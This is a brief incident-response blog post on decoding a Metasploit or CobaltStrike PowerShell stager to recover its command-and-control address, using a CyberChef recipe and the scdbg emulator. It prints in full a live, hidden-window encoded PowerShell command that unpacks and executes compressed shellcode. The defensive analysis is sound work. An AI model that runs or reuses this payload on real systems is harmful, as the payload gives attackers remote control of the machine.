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Decoding Metasploit and CobaltStrike shells

Introduction
This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).

It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary

ShellCode
Here we have the encoded powershell command 

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEASAB4AFQAWQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwAzAEUAcgA5AEQAMQBhAEYAaABKAEUASQAyAEkAUwBrAFQAYQBSAEsAWgAvAE4ATwBnAEEARABHAGQAZwB4AEYAMQBXAEsAdgA3AFkAVwAxAGwAOQBwAHIAMwBuAHIAOQA3AHoAZgBtAEoAUwBHAFgANQBLADcAVgA2AFYAWgBZAHIASABkAG0AZABtAGUAZQBlAFcAYgBIAGIAaABMAGEAbgBMAEIAUQBDAE0AbwBqAFYAZgBqAHgANABmADIANwBQAG8AcABRAEkASQBnAFoALwB2AG4AZQB2ADgAcwBMAEcAUgBvAFAARABHAFYAbAB1AEwAYgBzADUAdAA2ADkAQQA0AFUATQBkAGsAcgBXADIASgA3AE4ASgBPAEcATABJAEUANgBVADUAYgBMAEsAQQBrAFQAQwA2AGUAMQB0AEoAWQBrAGkASABQAEwARABlADYARwBCAHUAUgBMAEgATwBKAGgAUgBnAG0ATQB4AEoALwB3AHAAbQBEADYATwA4AE0AWAA5AGIASQA1AHQATAB2AHcAUQBNAHQAOABLAEQAYwBwAG0AaQBCADcAVgB0AGgAVgBrACsAMQBpADQAVQBFAEkAbgBsAFgAVwBZAGoAVgBMAGYAQwB0AHEAUwBFAGkANQBtAHYAMwA3AE4ANQBpAFkAWAA4AHIAUgBRACsANQA0AGcARwBvAHQAWgBiAFIAdAB6AEgAQgBRAGMAUwByAE0ANQA0AFcAYwB1AFAAWABDADAAWABXAEkAeAAyAHkAVgAyAHgARwBMAG0AOABvAEoASgB3AHMAdABTAFEAUQA5AGoANQBPAEkAZQA3AEwAYgBDAFgAYwB4ADkANQBzAFQAWgBIAEkAUQBDAHYAdwBqAHoASgBBAHEARgBwADYARABTAFgAUQA0ADYAWQBoAGEAbQAvAFkAagBaAGkAdQBOAEUATwBBAGEAVABRAGkAdABjAHMAUQBVAFcATQAyAEYAQwBhAFYANwA0AFEANQB3AGMAWABSAGcAbQBJAFMAYwBCAEIAagBuAEgARQBWAHQAcQBPAEYAbwBSAEcAOABlAEYASgBnAG8AZABpAG8AZgBZAG4AWQBvADkAdgBEADUARgAvAHEAdABHADQAcgBrAFIAYQBQAFYANQBsAE0AdABEAGEAdAA3AHkAdABjAHUAYwBoAE8ASwBEAGUAVABiADMAMAB0AHQARABUAG4ATQB3AC8AcABaAFgAdwBPAEwAbgBoAC8AYwBmADMAcgBzAG4ATgBrAFEATgBVAGoAMQBuAEEAOAB6AGUAVABmAFoAegBEAEwANgBLAGYAUgBhAFQAdgBkADQAWABRAGMAbwBMAFgAVABnAFEAYwBSAFoAdAA0AFQAVQB6AGkAaABLAGMAbQB3AHEAVABOAEIARwBUADYAVgBUAEkAYwBHADAAbgBOADIAYQA5AGEAbABlAHgAOAAyADkAdgBJADUAOQBzAHcARwBMAFoANgBaAFQATAB5ADUASgAxADEAdwBYAEIAeABHAEQARQBtAFkATABoAE0AVgArAFoANwA0ADAAbQBhAHEAZQBDAHQANABsAFgAeABTADQASgBjAFgAVQBiAG8AbwBEAFkASgAyADYASgByADIAVQBBAHUAeABUAHYASQB5ADYAYwAxAEgAcgBnAG0ANQBnADkAQwByAEIAVAB4AFIAUgA3AGkASwBkAHcANQBvAFgASgBTADcATgBhAFEAUABpAGoAcgBaAG8AUQA2AHUAQgBJAHMAUwBHAEwATQBYAGcARgBDAGMANAA5AGQAKwBhAFEASQBUAEgAYgBDAHIAcwA0AEEATQBRAE8ANwAxAGwASQBoAHcAdQBNAHgAaQBmAHQASQA0AHUAMwBwADkAUABUAGQAMQBEAEsAVgBpAGkASwA0ADcAegBRAFQANgBDAGsANwBMAHkAZwBZAFUAUwB4AGsAeABlAFUATQBDAFoASABrAFoASgB3AHQAcAA5AG0AbgA5AHoAdABKAHAAUQBUAEcAOABYADgAdABOADAAMAA5AHcAagBrADgAYwBBAEsAQwAyAE0AZQBKAFQAWgBrAEUAWQBJAGYAYQBVAHQAcwBFADAAUgBUAEwAUABKAEMAawB6AGgAWQAzAFcAcgBFAE8AeAAyAGMAZgBSAFcASgBDAHEASwBVAGgAQgA3AHMAdABJAEoATQB3AEUAcQBLAGcATQBaAFQAYgBrAFQAZwA0AHoAawBQAGMAZwBVAE4AOAAxAGEAdwBwAEQAZwBBADEAWAAyAE4AMQB5AG4AeQBvAEsASwBQAEoAYgBIAG4ARgBQAEsAdwBrADMAMwBoADYAWQBuAHUAQgAyADYAbgBvAEoAegBRAE8AUABNAFQATQBxADEAUgB4AHYATwBDAFEAUwBJAE8AZAAwAFUASwA4AEIATwByAC8AcABNAHoAWgAxAGYARwB3AGEAMQBLAGgASQA4AFoARQBrADkAbABOAEYARwAzAFAAQwBWAC8ASgB0AEwAcQB6AGoAZQBOAG8AVgBIAEsAMQB5AE4AawBlADQAQQBpAEQAdQBEAFUASQB4AGEAbwBLAE0AYgBYAFoAWQAxAEgAQQBKADMANABzAFgAaABQAEsAZwBvAE0AcQB4AFgAUwByAHEAMAB1AGkASwB5AHMAaQBkAHoAcQB3AHEATwBUAHkAeABhAHIAZgBuAEwAdQAyAHYATgBtAE0AYQBwAHUAZgBGAGQAcAB4AGEAMQB1AHMAMQA4AGQATgBKAHYAbABWAFYAcwB6AHkAbAB5AHIAdABmAGgAZAB2ADgAVwA3AHQAWQBmADUAWABGAE8AYQBRADkAMwBpADQANQBiAFMASABCAEYAcABZAFoAVgAzAHkAegBiAFoAYQBSADMARgBzAFQAYgBGADYANQAyADYAVwAwAHYAcQBaAGoAZgAzAEgATgBlAHEAdQBxADcAMwB5AGQAVwBHADgAbABXAGQAZABNAHoASwBRAEoAVgBLAHEARgBPAHQASgBSADEAVABYAGEAdABTAE8AYQA2AFIAZABYAE4AQQA5AE0ARwBpAFgAZQBjAHoAeQA2AEIASQBkADQAdgBlAGcAMwB5AEQAeQBLAFkAVAB6AFEAMgBaAHoAUQBKAEQAVQBoAHIAKwBKAFQASwB2AGwAawBiAEQANwB6AHAAYgBxADEAbQA4ADAAVABjAGwAdQBUAGYAUwA0AFUASABWAHAAWQBtAFIAVwA1AFEATgBtAEgAdQB3AFYAdgBJADEAMAAxAE8AVQA2ADUANgBVAGgAcgBzAGEAMQBSADAAeQBJAGoATABDAGkALwBGAG8AOQBOAEQAcgBtAGEAYQA5AFEAWABRAGMAYQBzAEcANABOAFoAWgB1ACsAdQBPAEgAMQB0AFoAbwB0AEgAVgBMAHQAeQA2AE4AQgAwAHEATQBTADkAVQB5ADYAZgBLACsAWQB3ADUAcgBoAHIAbABaAE8ARAByAFgANwBOAEMANABuAHMAMgBIAGIASwBBADcAbABxAFAANwBxAHoARwBjAFAASgBQADgAZwBiAFAAegBhADgAZwBZAFgAbAB0AEIAZgBXADcAcwBlAGsAYgBIAE4AQgBBAEsAMgBzAHgAYQBxAHcATgBVAHgAKwAzAHcAOAA2AHcAbwBXADIARgBEAEwAMwBsAEsATgA2AG4AVQBVAG4AOABOAHUAVwBlAGkAZQAyADUAMAA1AHEAdQBpAFAAQgA1AC8AcgA5AEEAYgA1AGcARgBaAGwARgBiAG8ASQBXADgANABRAFAANgBOAGkAWgBwAEcASQAyAFMAegBmAFUAeAA2AHEAbAArAFIARwBvADAAbQA2AEYAcwBQAGkAagBQAHcAKwA0ADQAVABNAGgAMQBpAFYAQgBwAEwAQgBTAG4ASwBRAEYARgBVAEIAbwArAGkAMQBIAHYATQB2AEIAdQBPAHIAdAB5AGkAcwBZAEMAegBDAEgAWQBlAFEAQQA2AGEANgBzAGcASQBQAE8AQgB0AFMASQBvADMAWgBuADMAZABIAFAAWABKADIAbABiAFgAWgBkAGcAUABHADkAWgBhAEwAagBLAG4AQwBPAE8AUwArAGgARABMAHcAagBMAGIAZgBuAGQAVQAyADMAUQBDAGYAMgBVADMAaAA2AHQATwBjAEwATQBkAHIAeQB1AGYAUABuAGQATQBZAGcAUgBNADAAWQB0AEYANAAyAFAASwBXAEsAQgBzAEoAbABiAG4ARABYAE8AbgBmADcAdQA2ADIAcAAxAFIAOABhADAARwAxAEUAVgBSADcAQwBNAEsARgBJAFcAbQBjAHIAbwAwADYAaQB5AHEASAA5AHQARABuADUASABVAFEAaABUADMASAB3ADAATABIAEkAVwBZAFEAcABlAEYAUABuAHcAcQBPAEkAVgBTAFoAcQBlADkAYQB0ADkASQBvAEUAOABlAHUAdABjAFUAYgBnADQAZABwAHAAZQBsAFYAMgBjADUANABWAEUAeAA5ADkAUwArAFQAawB1ADMAdAAyAFAAdwBFAG8AcgAzAHMAYQBvAEsASABSAHgANgAzAE0AOQBMAG0AMAB0AEoAZwBrAFkAawBiAGMAbwBTAFIAUAB6AHIANABWAFgAWQBjAGkAcwArADcAWgBkAFAAdQA5AGsANQBWAHMAOABPAG8ALwB2AEQAYwBtAG0AQgBaADkAaAA0ADAANABJADcASgBsAEMARAArAC8AOABYAHoAKwBQAHQANABzAE8AZgA4ADIAOQA0AFAAcQAzADkAZwAvAFMAWABNAEoAYgB5AHoAMQBCADQASQBYADIAKwA4AEYAdQBRAC8AegBZAEMASgBpAEkAYwBOAEQAVwA0AEkAQwBrACsAdABPAC8AWABnAFQAaAB5ADYATwB5ADcANQB5AHgATAB3AEIASAAzAE8ATgBJAFAAMABmAHUARQBYAC8AVABnAHEAKwBnAHYAYwBZADYATAB5AGYAOABLAEEAQQBBAD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA

Here we have the recipe for CyberChef to decode above encoded powershell command

Regular_expression('User defined','[a-zA-Z0-9+/]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Remove_null_bytes()
Regular_expression('User defined','[a-zA-Z0-9+/]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Regular_expression('User defined','[a-zA-Z0-9+/]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
To_Hex('Space')
Find_/_Replace({'option':'Regex','string':' '},'',true,false,true,false)



scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the Windows API the shellcode attempts to call.

In the END
Being a responder, the top priority is to identify, contain and block the incident so that the further adversary activities will be blocked

References:






Comments

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